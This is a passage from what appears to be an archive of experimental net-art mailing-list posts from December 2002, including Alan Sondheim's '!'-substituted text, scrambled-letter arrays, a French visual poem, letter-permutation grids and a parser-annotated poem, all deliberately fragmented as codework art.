d, e, l, e, w, l, o, r ] d   false\n[ d, o, e, d, r, r, w, e, e, w,\n  o, r, d, c, a, l, l, e, d, l ] rw   false\n[ l, e, l, r, c, e, o, e, e, d,\n  a, w, r, d, r, o, d, w, l, d ] we   true\n[ d, l, o, l, e, w, w, a, c, d,\n  d, r, e, r, d, o, l, e, e, r ] ol   true\n[ w, o, e, r, r, w, c, o, a, d,\n  l, d, e, d, l, l, r, e, d, e ] ac   true\n[ l, a, o, r, e, l, d, d, d, l,\n  c, r, e, w, e, w, d, e, r, o ] ld   false\n[ e, r, e, e, l, d, w, d, d, r,\n  o, e, a, r, l, l, c, d, o, w ] oe   false\n[ w, l, r, o, w, e, r, e, d, c,\n  l, a, o, l, d, d, r, e, d, e ] ll   false\n[ e, d, r, e, d, e, d, a, e, w,\n  w, r, l, r, d, l, c, l, o, o ] lc   false\n[ d, d, w, r, l, w, d, e, l, r,\n  c, l, r, o, e, a, e, d, e, o ] ro   true\n[ c, w, l, e, a, l, l, r, d, w,\n  e, e, e, d, d, o, r, r, d, o ] lw   true\n[ e, l, d, r, d, w, e, w, e, l,\n  e, o, o, d, a, d, c, l, r, r ] ea   false\n[ w, d, c, o, l, r, l, e, d, l,\n  w, r, d, o, e, e, r, e, a, d ] ld   true\n[ w, d, d, o, e, d, r, l, r, c,\n  l, l, e, d, r, w, e, o, e, a ] ee   true\n[ l, a, e, e, e, r, c, o, l, d,\n  w, d, r, r, o, d, e, l, d, w ] lw   false\n[ d, e, r, l, w, d, r, l, e, o,\n  r, o, d, e, c, w, a, l, e, d ] wl   false\n[ d, e, w, r, o, d, l, l, w, r,\n  d, l, e, a, e, d, r, c, o, e ] cl   false\n[ l, e, r, l, r, e, a, o, d, d,\n  w, l, e, e, r, d, c, d, o, w ] ca   false\n[ e, r, l, c, d, a, l, w, d, r,\n  r, l, d, o, o, e, e, w, e, d ] dw   false\n[ o, r, d, l, r, l, w, e, e, d,\n  a, w, d, c, r, o, e, l, d, e ] ed   false\n[ w, o, r, l, c, e, d, d, l, e,\n  w, d, e, l, r, a, r, e, d, o ] or   true\n[ d, w, r, l, w, a, r, d, o, e,\n  r, d, c, d, e, e, l, e, o, l ] wl   false\n[ o, l, r, l, e, w, e, d, r, r,\n  a, l, e, e, c, d, o, w, d, d ] er   false\n[ w, e, c, d, d, l, e, e, o, o,\n  r, d, a, l, r, w, d, r, l, e ] rl   false\n[ l, w, d, e, d, o, r, e, w, r,\n  c, e, d, l, a, r, d, o, e, l ] rd   false\n[ c, r, r, o, a, d, l, l, e, o,\n  d, e, w, r, d, d, w, e, e, l ] err   false\n[ r, l, w, d, e, o, r, d, l, d,\n  a, l, e, w, o, d, e, c, r, e ] war   false\n[ o, r, w, w, r, a, r, l, l, d,\n  d, e, d, d, e, e, l, c, e, o ] ede   false\n[ l, d, w, o, r, r, l, c, e, a,\n  e, o, e, d, l, e, w, d, d, r ] lrl   true\n[ e, e, w, l, l, e, c, d, l, d,\n  e, o, r, d, r, r, d, a, w, o ] dld   false\n[ d, l, a, c, e, r, o, o, e, e,\n  r, w, r, l, d, d, l, w, e, d ] ddd   true\n[ w, r, l, a, d, o, w, o, e, e,\n  d, d, e, r, r, l, l, c, d, e ] aol   false\n[ a, e, d, w, l, r, w, r, e, o,\n  o, d, e, d, d, c, l, e, r, l ] lal   false\n[ d, d, w, r, w, d, e, a, e, o,\n  l, c, e, l, l, r, o, e, r, d ] dwe   true\n[ c, o, l, l, d, o, r, e, d, r,\n  d, e, d, w, w, r, l, e, a, e ] ede   false\n[ w, o, e, e, l, d, a, d, o, r,\n  l, r, e, d, c, d, l, e, w, r ] edl   true\n[ a, l, w, r, r, o, e, r, d, w,\n  e, d, c, e, e, l, o, l, d, d ] wde   false\n[ d, r, o, o, d, l, c, r, l, e,\n  e, l, d, a, w, w, e, r, d, e ] dle   true\n[ d, w, d, e, r, d, e, r, a, l,\n  c, l, e, e, l, o, w, r, d, o ] ell   true\n[ e, w, r, e, l, l, d, d, c, w,\n  r, e, l, r, d, d, o, e, a, o ] dre   true\n[ e, o, r, w, e, a, l, o, d, r,\n  d, w, d, d, l, c, l, r, e, e ] oeo   true\n[ d, e, l, w, a, r, e, c, e, l,\n  w, d, o, d, r, d, o, l, e, r ] lwr   false\n[ d, e, r, r, d, e, o, d, r, l,\n  d, e, o, e, a, l, c, w, w, l ] wde   false\n[ d, o, w, a, e, r, o, e, e, l,\n  c, l, r, w, e, d, r, d, d, l ] wrd   false\n[ a, r, e, l, d, e, l, d, e, w,\n  l, w, d, r, r, c, d, o, e, o ] dre   false\n[ d, r, e, a, e, r, c, l, e, w,\n  w, o, l, l, d, d, o, d, r, e ] aea   false\n[ e, w, e, o, r, w, o, l, l, r,\n  d, e, l, e, c, a, r, d, d, d ] eer   false\n[ l, r, d, w, l, w, e, e, o, d,\n  r, l, c, e, o, e, a, r, d, d ] eao   false\n[ a, e, e, r, w, l, c, l, d, l,\n  o, d, w, o, r, d, r, e, d, e ] ldl   true\n[ e, r, d, d, d, e, o, e, c, l,\n  w, l, w, l, d, o, a, e, r, r ] rld   true\n[ r, e, l, d, w, l, d, a, o, c,\n  e, e, d, r, w, e, o, l, r, d ] eel   false\n[ c, w, d, d, e, r, e, r, e, r,\n  d, w, o, o, l, l, d, l, a, e ] ced   true\n[ d, r, e, d, r, d, c, o, l, o,\n  l, w, a, e, e, l, r, e, w, d ] wwc   false\n[ o, d, e, r, w, e, l, w, a, e,\n  r, l, d, l, r, o, d, c, d, e ] oel   true\n[ l, r, w, a, e, d, r, d, l, o,\n  r, d, c, w, e, l, e, o, e, d ] aldd   false\n[ o, o, w, e, d, w, r, r, d, e,\n  e, a, c, e, d, d, r, l, l, l ] cdlr   false\n[ d, d, r, o, e, e, l, w, d, w,\n  e, l, r, r, o, e, d, l, c, a ] drce   false\n[ d, o, r, e, w, a, l, l, o, d,\n  e, e, w, r, r, d, c, l, d, e ] eeel   false\n[ l, d, w, e, e, o, w, d, r, l,\n  r, l, e, d, c, o, r, a, d, e ] deed   true\n[ w, r, d, d, o, r, o, d, e, l,\n  l, e, w, c, r, a, e, e, d, l ] rode   false\n[ d, c, d, l, l, w, w, o, e, o,\n  r, a, r, r, l, e, d, e, d, e ] rerd   true\n[ r, e, a, d, r, d, e, d, w, e,\n  o, l, e, r, l, l, c, d, o, w ] rrwd   false\n[ d, e, e, w, d, e, l, e, o, r,\n  c, w, o, d, r, a, l, r, l, d ] rece   false\n[ r, r, e, c, a, l, d, d, d, e,\n  r, e, w, w, o, d, l, e, l, o ] oede   false\n[ c, e, d, a, l, o, w, e, d, d,\n  r, r, e, l, r, l, o, e, d, w ] wwrw   true\n[ d, e, e, c, d, r, l, e, r, o,\n  w, e, l, l, a, o, w, r, d, d ] drwr   false\n[ e, d, d, o, r, e, c, e, r, l,\n  d, l, a, w, o, l, d, e, r, w ] llde   false\n[ l, w, w, r, d, a, l, e, c, e,\n  o, d, d, r, e, d, r, l, o, e ] ledr   false\n[ c, e, l, e, l, r, r, d, l, d,\n  w, r, d, o, a, e, w, e, o, d ] cerd   true\n[ d, c, w, d, w, e, r, e, e, l,\n  d, r, e, o, o, l, l, r, a, d ] lrrr   true\n[ o, d, r, w, r, a, l, e, r, c,\n  w, e, d, l, e, d, l, e, d, o ] adde   false\n[ e, l, d, r, e, d, r, r, d, d,\n  a, c, o, e, w, l, o, w, e, l ] rdld   false\n[ o, w, e, o, e, l, d, r, d, l,\n  c, e, r, l, r, d, a, d, w, e ] eocr   true\n[ o, d, l, d, l, e, e, e, d, c,\n  r, w, e, a, d, w, r, r, l, o ] ewwe   true\n[ l, a, w, r, e, d, o, d, e, l,\n  c, r, d, r, l, e, o, w, d, e ] dedd   false\n[ o, d, o, c, e, l, l, d, r, d,\n  r, l, e, e, e, a, r, w, w, d ] oddl   true\n[ w, d, r, d, r, e, e, w, r, d,\n  e, o, c, l, d, a, l, l, e, o ] wdoll   true\n[ l, e, r, e, d, o, r, d, w, o,\n  l, c, r, w, e, l, d, d, a, e ] realr   true\n[ l, e, o, w, w, l, d, d, l, e,\n  r, r, a, o, e, d, d, c, r, e ] ocwed   true\n[ r, r, l, d, d, l, d, o, e, w,\n  e, w, e, r, l, a, c, d, o, e ] drlee   true\n[ o, e, l, d, c, e, w, l, o, d,\n  r, e, d, r, l, e, d, w, a, r ] llrdr   false\n[ r, w, l, w, r, e, r, e, a, d,\n  e, o, o, d, l, e, c, l, d, d ] eeddd   true\n[ d, a, o, d, o, l, c, d, e, e,\n  r, d, e, w, e, r, w, l, r, l ] wlrae   false\n[ l, o, e, e, r, d, e, o, w, l,\n  c, e, d, d, r, a, r, d, w, l ] wlwoe   false\n[ o, r, d, w, e, r, w, l, d, e,\n  c, e, d, o, d, l, r, e, a, l ] oeled   true\n[ d, r, r, d, e, d, c, l, l, w,\n  a, w, d, o, e, e, l, o, r, e ] lddda   false\n[ o, e, d, a, e, d, r, l, d, l,\n  c, l, r, o, d, e, e, r, w, w ] welro   true\n[ e, d, r, e, d, o, r, a, d, r,\n  e, l, l, o, l, c, e, w, w, d ] drwde   true\n[ d, l, e, r, e, e, w, w, d, d,\n  c, r, e, l, o, a, o, r, l, d ] ddwdc   false\n[ e, d, l, d, e, d, e, w, r, l,\n  r, c, a, w, o, e, r, o, d, l ] ddrle   false\n[ e, e, d, w, o, d, c, r, r, d,\n  e, l, r, a, w, d, l, e, l, o ] rrcld   true\n[ o, d, d, r, o, r, l, c, w, a,\n  l, d, e, r, d, e, e, l, e, w ] drewe   true\n[ l, w, e, e, r, w, a, d, d, l,\n  e, c, d, d, e, r, o, l, r, o ] ddwel   false\n[ c, l, l, e, o, r, e, r, d, w,\n  e, r, o, w, e, d, d, a, d, l ] deoed   false\n[ l, r, d, c, e, d, r, d, r, o,\n  d, w, w, e, a, e, l, e, o, l ] dlawd   false\n[ l, o, a, d, d, d, e, o, w, w,\n  l, r, e, d, e, r, r, l, c, e ] rdear   true\n[ e, e, w, a, e, o, d, l, w, d,\n  e, c, d, l, r, r, o, r, l, d ] ererc   true\n[ d, c, l, o, l, d, d, w, d, r,\n  r, e, e, e, w, o, e, a, r, l ] eaced   false\n[ r, o, c, w, d, e, d, a, e, r,\n  l, l, e, w, l, e, r, d, d, o ] lleeo   false\n[ w, l, c, d, d, l, e, r, e, l,\n  e, o, o, r, w, d, r, a, e, d ] delaw   false\n[ d, r, r, o, d, e, l, l, e, l,\n  e, a, w, d, e, r, o, w, c, d ] dlcdw   false\n[ o, d, r, e, e, l, a, l, o, r,\n  d, r, c, d, e, w, e, l, w, d ] woecd   false\n[ r, e, o, w, d, o, w, e, d, d,\n  r, e, c, l, d, e, l, r, l, a ] eelre   false\n[ e, w, d, e, e, l, d, r, l, a,\n  r, o, d, c, o, l, d, e, r, w ] ellde   true\n[ c, r, o, w, l, o, e, d, w, r,\n  d, r, e, d, e, a, e, l, l, d ] oordd   false\n[ l, w, w, d, d, e, a, c, e, o,\n  l, r, e, l, e, o, d, d, r, r ] rdwad   false\n[ d, o, o, e, l, d, a, d, e, w,\n  l, e, r, r, l, d, c, e, w, r ] orwdwd   false\n[ d, r, o, a, e, c, l, r, l, e,\n  r, w, l, o, d, d, w, e, e, d ] ecedde   false\n[ l, r, o, r, l, e, d, o, w, a,\n  e, e, l, d, w, d, c, e, d, r ] cleeed   true\n[ e, r, d, c, l, o, e, d, l, e,\n  a, o, l, w, r, d, w, r, d, e ] oeeeww   true\n[ d, o, d, d, o, e, w, l, a, r,\n  r, d, w, l, c, e, e, r, l, e ] eolldw   false\n[ d, e, c, l, e, a, d, r, r, e,\n  l, w, d, l, o, w, e, d, r, o ] ledrwe   true\n[ o, e, o, l, w, r, d, e, e, l,\n  a, w, r, r, e, d, c, l, d, d ] adweer   false\n[ l, l, w, d, a, o, d, l, c, e,\n  r, o, e, d, w, d, e, r, r, e ] ardrer   true\n[ o, l, d, l, e, d, w, r, o, e,\n  c, a, w, r, e, d, r, e, l, d ] ededed   false\n[ r, l, r, w, c, d, a, l, o, e,\n  d, e, l, e, w, r, o, e, d, d ] wacale   true\n[ l, e, o, o, d, a, d, l, l, w,\n  d, e, r, e, w, r, r, d, e, c ] doearr   false\n\n\n\n\nDate: Wed, 25 Dec 2002 01:53:10 -0500 (EST)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: +++\n\n\n------------=_1040799200-642-295\nContent-Type: TEXT/PLAIN; charset=US-ASCII\n\n\n\n\n++\n>>ov\n>> please refra!n from red!rect!ng my synd!cate transm!ss!ons\n[header_f!ndout.g!f]ce/flows/rad!at!ons\n>> to your neo fasc!st nett!me lagar!f]\n[spacer5x5.g!\n>>\n>\n>th!s !s daftke2.g!f] [spa\n>rbut then that's how modern!sm works - 'neofasc!st' rhetor!c of the lastd\nfam!l\nPassword:\n>century blah blah blah - 0:09:22 2002 from ma!lhos\nto reproduce the elements of real!ty w!thout mak!ng any k!nd of select!on\nwoulddos/tg/stores/reg!stry/share-reg!stry/-/w!shl!st/3 1996, 1997, 1998,\n1999, 2000\nbe ....       but then that's how modern!sm works - 'neofasc!st' rhetor!c\nof the lastd fam!l\nbe ....       ma! upzet dze ne!ghborz part!kularl! !f u arnt\n        The NetBSD Foundat!on, Inc.\nuear!ng much mor dzn anc!ent ol!mp!anz\ncp: .b!o: No such f!le or d!rectory!o\n>! w!ll c!te who ! want when ! want and everyone else should feel free to\nWould you l!ke to add to b!o !nformat!on? If so, t\n>do so as well\nabsolut freedom = absolut murdererror 2:.b!o\nyr c-f USSR\n\n------------=_1040799200-642-295\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1040799200-642-295--\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: record red\nDate: Thu, 26 Dec 2002 17:39:45 +0100\n\n      > \\ .\n      >\n      >\n      >\n#!/bin/sh\n\n           [olo]\n     c'est s     eule-ment\n\ns--olo---cel-a qu'il lui sera\n       n\u00e9cessaire de t ro uver\n-------------------f\n                       Or[t] ger\n-f-o-r-g-e-(t)r-\n\n\nactive red white\naxis black white\nhandle blue white\n\nhotkey red blue\n\nmenu cyan blue\nplay green white\nrecord red white\ntrack blue white\n\n\n\n            o. uB[er] lie.r\n\n     cette p\n           l ace uN i(Ni)que    o\u00f9\nelle peut dire marquer et \u00eatre entendue\n\n          \u00e0-la p[lace d]-e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Wed, 25 Dec 2002 23:20:53 +0200\nFrom: J.CS2SC.M <sc {AT} chromaticspaceandworld.com>\nSubject: WORLDIRECTORY\n\n[ 3, 15, 132, 12, 141, 210, 1296 ]\n[ 2, 10, 88, 8, 94, 140, 864 ]\n    0   [\n    1\n    2   3\n    3   ,\n    4\n    5   1\n    6   5\n    7   ,\n    8\n    9   1\n    10   3\n    11   2\n[ 3, 15, 132, 12, 141, 210, 1296 ]\n[ 2, 10, 88, 8, 94, 140, 864 ]\n    0   [\n    1\n    2   3\n    3   ,\n    4\n    5   1\n    6   5\n    7   ,\n    8\n    9   1\n    10   3\n    11   2\n[ 3, 15, 132, 12, 141, 210, 1296 ]\n[ 2, 10, 88, 8, 94, 140, 864 ]\n    0   [\n    1\n    2   3\n    3   ,\n    4\n    5   1\n    6   5\n    7   ,\n    8\n    9   1\n    10   3\n    11   2\n[ 42, 72, 45, 186, 102, 192, 183, 198, 147, 57,\n  51, 105 ]\n[ 28, 48, 30, 124, 68, 128, 122, 132, 98, 38,\n  34, 70 ]\n    0   [\n    1\n    2   4\n    3   2\n    4   ,\n    5\n    6   7\n    7   2\n    8   ,\n    9\n    10   4\n    11   5\n[ 75, 108, 147, 81, 30, 186, 39, 87, 48, 81,\n  108, 93 ]\n[ 50, 72, 98, 54, 20, 124, 26, 58, 32, 54,\n  72, 62 ]\n    0   [\n    1\n    2   7\n    3   5\n    4   ,\n    5\n    6   1\n    7   0\n    8   8\n    9   ,\n    10\n    11   1\n[ 126, 141, 75, 156, 75, 198, 12, 24, 45, 168,\n  84, 69 ]\n[ 84, 94, 50, 104, 50, 132, 8, 16, 30, 112,\n  56, 46 ]\n    0   [\n    1\n    2   1\n    3   2\n    4   6\n    5   ,\n    6\n    7   1\n    8   4\n    9   1\n    10   ,\n    11\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 22-12-2002-17:09 |_| 361211 1\" || orange||||||blue||||||blue||||||orange||||||yellow||||red 'yellow ~\" || m |\nDate: Sun, 22 Dec 2002 17:07:34 +0100\n\n|-ckhromaschine-||-H-S-C---c-h---c-||-jmcs2-|\n|-m-h-M-m-O-e---a-o---s---| \" | worldeclaredeworlded |\n|   || \" || 22-12-2002-17:09 |_| 361211 1\" || orange||||||blue||||||blue|=\n|||||orange||||||yellow||||red 'yellow ~\" || m |\n|   ||   ||   ||   ||   ||   ||\n|            |      |=91=86      |      89      |      =F9=D2=E8      |  =\n    a      |      |      |\n|      -      |      -      |      e      |      XXXXXX      |      34   =\n   |      67      |\n|      13      |      12      |      21      |      /o/>hm      |      > =\n     |      50      |\n|      -1      |      _      |      68      |      0      |\n| --------------           ',:::: 193.2. -2-200 WHITE mentur ~ , =3D, ch=\ninas, 2, ), ), g\n|   -------------       possib  =F9#=1Cd=C8=D6 917 -T.ell ' ,     , (Do, =\n, remove, >, , XANDRI\n| ---------------                .42 }{:::: gQ   \\___=AF=AF ,      , >, =E5=\n=AD, ', 11-200, t.spni, dmotce\n|                -   =99=E7=BF  ~ ov after l\\\\\\\\, ,        , , =8B>=01=9E=\n+,  , =3D=3D=3D=3D=3D=3D, 0=AA=CD7, |>\n|     ----             ho > Z=06=D0s=B8  : v[=D6 ,  , pic\", , ||, =80=90Y=\n=07, _L_I_N, >\n|     -------------             9 > is  582147 =B4 ,    , =AEq, ||||||, d=\nv=A6=F7=A1, , ~, .\n|   \" .   [                                                              =\n               ]\n|   \" 'A./ GLIDING SQUARE, a writing system\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    REPETITIONREPET\n|   \" a' ..      .      .      .      .      .      ..      w.4      ..  =\n    ITIONREPETITION\n|   \" \", [    bBbbbb line said i =1B=C4=FCo=1B=86 ( 101010 p    ]\n|   \"      ..      ...      ....      .....      ......      .      nokod=\newerk.oncummonity.deinsidun .. outsigested\n|   ' \" I DECLARE THIS TEXT AS BODY PRONOUNCED _=A8P=A8R=A8O=A8N=A8O=A8U=A8=\nN=A8C=A8E=A8D=A8_=A8 =A8\n|   \"*   _, \" chromatiscHHHHHH unD rauMMMMM\n|---------------------------------------------------------------------[  =\n    asWORLDworldASworldtext\n|---------------------------------------------------------------------[  =\n    WORLDbodyworldASii\n|---------------------------------------------------------------------[  =\n    TEXTIiITEXTdeclare\n|---------------------------------------------------------------------[  =\n    ASTHISBODYworldworldbody\n|---------------------------------------------------------------------[  =\n    declareiTHISbodyIBODY\n|---------------------------------------------------------------------[  =\n    bodyWORLDBODYasASthis\n|   \" _ WORLDECLAREDEWORLDED =A8 =A8\n|   \" _ availabilityramoccentRAaramerikaarARRAK ------ w o r l d e c l a =\nr e d e w o r l d e d\n|   \" _ar.   \"    \"    \"    \"0=3D1\n|   \"     \"      \"  \"\"  \"                          .. 1      CHROMATISCH =\nUND RAUM         awritingsystem\n\nwooade      deeeco      delrrc      ldrddd      ewdlde      daalwr\ndeldld      reoldo      orredw      doedro      ddelrr      llddrw\ndeldod      ewdlrc      aorewe      alrdld      rrrdac      cacddd\ncedelr      relwae      lcrrcl      doeadl      derreo      olldld\nlalodo      eocdcd      roldld      dcdede      dreerr      eoellr\nddeeed      wrwrrc      ldeeac      odaeod      eerreo      dlrlee\nldolrd      lcldcd      eddecr      corlrd      eodreo      ewaede\nellwwl      weewle      doodlw      lrllld      aererd      cldweo\nldowor      dlecee      ledadd      cdodde      lcdldd      wlolod\ndooodl      erolel      drloer      lllrle      erdrar      deredd\nleraee      rweeew      lelwcl      roaede      drdwee      rrrclw\ndeorlo      reeedd      rlcawa      eoceer      wwddll      eceede\necalew      alaere      lodllw      rdwwed      lceelo      rlreac\ndldlae      loedlc      lcoode      eecrrl      reeolr      cedeeo\neoeeed      derldr      rrldwr      rworcr      lrelel      ceddld\nlrelee      deewre      wceeol      lrawwe      lwldre      reodod\noeolrl      elerdl      rerldr      ddredw      rlrerl      ddwolr\norldde      eeoeda      ldeldc      cellwo      eeodol      rcwcdd\nwrwdod      lwoedr      owdcae      ewweda      ocreol      rreldd\nedwlar      ladlwe      rodwlc      deoooe      loeear      edodde\nlcowdd      lcaoow      elarea      orlare      derdol      ewdcdd\nwwddel      drdwrl      eeeolr      dredld      wreerc      wrldrd\ndorddl      dlrrdd      eelceo      elddrc      lleerl      reldwl\ndwleld      ooddor      odleee      raacde      wwwdwe      lewalr\neererd      eeodld      elodde      wocoda      dlrerw      rlrwdl\nldwdde      cwrddl      dldlda      edllee      aloleo      aewrdr\ndeacrr      edwdwo      rrdrwl      orerro      edcdle      wledrd\nceldel      ododre      owarao      werawl      rrdrel      oreoed\nrwewor      oloaed      reaalo      edoole      ewdwlw      edcdld\nlwroee      oeoadr      dacwdl      rdrewo      rreola      eodwra\nldeede      oeelaa      oweore      rwowrc      wrldao      leddde\neowded      arecwd      wceell      errele      redddd      llwddr\nolrwdc      dddlew      dlloaw      oewccd      dwoeed      owddra\nrecede      dlrrao      dwwldr      dooldr      olodrd      dlwell\ndowwrd      elderc      deoree      eewdwr      wadwde      lrllld\nwewoda      dlordd      dwlord      rewoed      aawdcl      erelwo\noederl      dacoer      eeelol      ardleo      ldracd      edewol\ncdrclr      rweddo      aeaood      lledel      lclcro      rllede\nwlleda      aededl      deerol      oloolw      oeeewd      ldroar\nrreerw      rderoo      edalwa      odcoac      ledeel      rreded\ncelwod      lrlloe      lcldle      adrawd      dleoee      roocra\neerwdo      crdced      oerdor      rdoeed      dcrede      erelde\ndoaldw      rldeca      dddwae      loroew      dooodw      ldweor\nddodwd      dwcrel      ddcdcd      olloel      lerded      edwewl\nlwdwrw      aaaodo      odelad      coerwl      aedodd      declwe\nlrdwrd      dadwdr      ddddre      lareel      wlolwe      rwedor\nellwew      eeeldl      eedrdl      rreoed      leddlo      eredeo\ncedwre      dladrr      weeedl      dwdeld      redcrd      elrdea\nlleaco      alelce      eewdlr      oreede      olcwdr      deowre\nelorlc      adlerc      aaeeed      wrdael      eeerdr      eewddr\nwloewl      oordec      dowoed      rlaldl      ewcewe      rordle\nellrle      orrldd      drdwde      rdddoe      rrrldr      wdlodw\nlwerrl      ecerrr      ddwwro      rdwrld      lreere      deerar\ndwdawc      cdarea      rolleo      ecleeo      wcalwr      wrolwd\nddewee      redodd      lwlcrl      edwrwr      oeeeer      aeodra\nldweee      rdocwl      olweee      reledo      woddeo      cwdlrr\nrdwdle      dclell      dcoeoe      lereed      cleooa      wwllro\nrldwdd      dddree      eloeeo      lcddwa      drwlde      loorrr\nlrwleo      erellr      wlolll      oddeae      rlcraw      lwewle\neorelc      elllwe      derded      reweww      leeral      dolder\nderwaa      edewre      redrcl      rrdddw      eredod      odaldw\nrdldwe      ecodda      caaldr      deoale      rlloee      ldwere\nwrorre      olaoed      clreor      eddlao      rwedwd      rdoadr\nrddeod      weeree      drdewl      dareee      rrloca      dwrell\ndedlew      rddelo      daolra      lwodde      ldwrao      rldwdo\ndcdedd      warald      elllrw      ladddl      llelor      owowwr\ndocodo      laedll      derwel      oerrdc      eoeaee      orcade\naoddlr      eederd      ewldcl      drrldr      dldwel      deceel\ndeorel      ddewce      ceddwl      raerew      acweaw      ddldad\nroewee      rdcdll      aoaclw      cclroo      drdded      aedllo\nooeldo      dredld      aerdld      edoled      ddlwle      ddlddc\nrwelow      reeoro      ddrrlo      wodree      eeolrr      eeelaw\nrwewed      dercrd      cwcdee      alcdaw      lacwoe      orleer\norewwl      loeewd      erwdcr      lwrlad      rcedrl      eeecow\nwwelae      elolrw      drrdee      lrddoe      edleeo      rroole\noeeroc      drdroo      lewrod      dldawl      eldwdr      roeadl\newlrdl      decdee      ederel      wcolcd      ddoroe      eardww\nerdeor      leerrr      owcrdl      cocdel      racrow      rldade\nrwoold      rrdeae      reeacd      rwrdod      lcddwe      rorodd\ndoeoda      loerll      raoedo      werdle      codlae      arocco\nwwlddd      corwrd      lawede      wdwdrw      lrderw      wleell\neloede      wadlow      ddcwwc      rereww      ldoddw      wlwoor\ndealdl      oadedd      rlowea      delcdl      eewwlc      rrlder\nelddoa      wrlwew      dcrooo      ecdoea      oeareo      erlldd\nldcaol      crlelr      eeello      dcdwoe      rrleao      rlrewl\ndlordd      oaoedl      dedoll      errela      ldddee      lwdowa\ndaoolo      drlwre      lwcdao      ddrerr      ecwawr      rdldlr\ndlredw      dlrwar      dlewre      aadord      ecwdwl      ddowed\nerrerr      dreloe      laeerl      adwcda      ealdrd      dowrwa\nrdwlde      ocedlc      lrldow      dlwedr      eoecrd      oreodr\nooleod      aowlol      wrddor      dllrrd      ddlorl      looerl\nwoeeew      wddlew      erldrd      wrwaol      cecodw      edeewc\nleldel      loodee      erawer      dewrrd      edddel      waewdo\nelrlww      reecrd      eerrlo      wlllel      drerdo      edwcwd\ndrlwoe      wewloc      daedod      redwll      leewle      dleole\ndawlre      rdocdd      dlecde      relrre      llwcwo      lodlrd\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\nDate:         Sun, 22 Dec 2002 08:07:26 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nSubject: Parslogram\n\n\n\n1  Black  black  attr:>2   {AT} A> %>N A ABS  =20\n2  water  water  attr:>3   {AT} A> %>N N NOM SG  =20\n3  fluid  fluid  subj:>4   {AT} SUBJ %NH N NOM SG  =20\n4  enter  enter  main:>0   {AT} +FMAINV %VA V PRES  =20\n5  groan  groan  obj:>4   {AT} OBJ %NH N NOM SG  =20\n6  of  of  mod:>5   {AT} <NOM-OF %N< PREP  =20\n7  start  start  attr:>8   {AT} A> %>N N NOM SG  =20\n8  parable  parable  pcomp:>6   {AT} <P %NH N NOM SG  =20\n9  with  with     {AT} <NOM %N< PREP =20\n     {AT} ADVL %EH PREP =20\n10  other  other  det:>11   {AT} DN> %>N DET  =20\n11  cans  can  pcomp:>9   {AT} <P %NH N NOM PL  =20\n12  .  .  =20\n13  <s>  <s>  =20\n0\n1  Sapping  sap  subj:>4   {AT} -FMAINV %VA ING  =20\n2  flow  flow  attr:>3   {AT} A> %>N N NOM SG  =20\n3  rates  rate  obj:>1   {AT} OBJ %NH N NOM PL  =20\n4  opine  opine  main:>0   {AT} +FMAINV %VA V PRES  =20\n5  to  to  ha:>4   {AT} ADVL %EH PREP  =20\n6  please  please  meta:>4   {AT} ADVL %EH ADV  =20\n7  river  river  attr:>8   {AT} A> %>N N NOM SG  =20\n8  cue  cue  attr:>9   {AT} A> %>N N NOM SG  =20\n9  modality  modality  obj:>4   {AT} OBJ %NH N NOM SG  =20\n10  ,  ,  =20\n11  drips  drip     {AT} +FMAINV %VA V PRES SG3  =20\n12  positive  positive  attr:>13   {AT} A> %>N A ABS  =20\n13  shrine  shrine  obj:>11   {AT} OBJ %NH N NOM SG  =20\n14  for  for  mod:>13   {AT} <NOM %N< PREP  =20\n15  langue  langue  pcomp:>14   {AT} <P %NH <?> N NOM SG  =20\n16  opens  open     {AT} +FMAINV %VA V PRES SG3  =20\n17  unity  unity  obj:>16   {AT} OBJ %NH N NOM SG  =20\n18  under  under  loc:>16   {AT} ADVL %EH PREP  =20\n19  fleet  fleet  pcomp:>18   {AT} <P %NH N NOM SG  =20\n20  ,  ,  =20\n21  craft  craft  mod:>19   {AT} APP %NH N NOM  =20\n22  of  of  mod:>21   {AT} <NOM-OF %N< PREP  =20\n23  unknowing  unknowing  attr:>24   {AT} A> %>N A ABS  =20\n24  delta  delta  attr:>25   {AT} A> %>N N NOM SG  =20\n25  storm  storm  pcomp:>22   {AT} <P %NH N NOM SG  =20\n26  .  .  =20\n27  <s>  <s>  =20\n0\n1  Type  type  main:>0   {AT} +FMAINV %VA V IMP  =20\n2  Alpha  alpha  obj:>1   {AT} OBJ %NH N NOM SG  =20\n3  in  in  mod:>2   {AT} <NOM %N< PREP  =20\n4  six  six  qn:>5   {AT} QN> %>N NUM CARD  =20\n5  days  day  attr:>6   {AT} A> %>N N NOM PL  =20\n6  time  time  pcomp:>3   {AT} <P %NH N NOM SG  =20\n7  we  we  subj:>8   {AT} SUBJ %NH PRON PERS NOM PL1  =20\n8  shelve  shelve  mod:>6   {AT} +FMAINV %VA V PRES  =20\n9  outer  outer  attr:>10   {AT} A> %>N A ABS  =20\n10  muse  muse  obj:>8   {AT} OBJ %NH N NOM SG  =20\n11  your  you  attr:>12   {AT} A> %>N PRON PERS GEN  =20\n12  cable  cable  attr:>13   {AT} A> %>N N NOM SG  =20\n13  relays  relay     {AT} OBJ %NH N NOM PL =20\n     {AT} A> %>N N NOM PL =20\n14  time  time     {AT} SUBJ %NH N NOM SG =20\n     {AT} ADVL %EH N NOM SG =20\n     {AT} OBJ %NH N NOM SG=20\n15  in  in  tmp:>8   {AT} ADVL %EH PREP  =20\n16  slowly  slowly  ad:>17   {AT} AD-A> %E> ADV  =20\n17  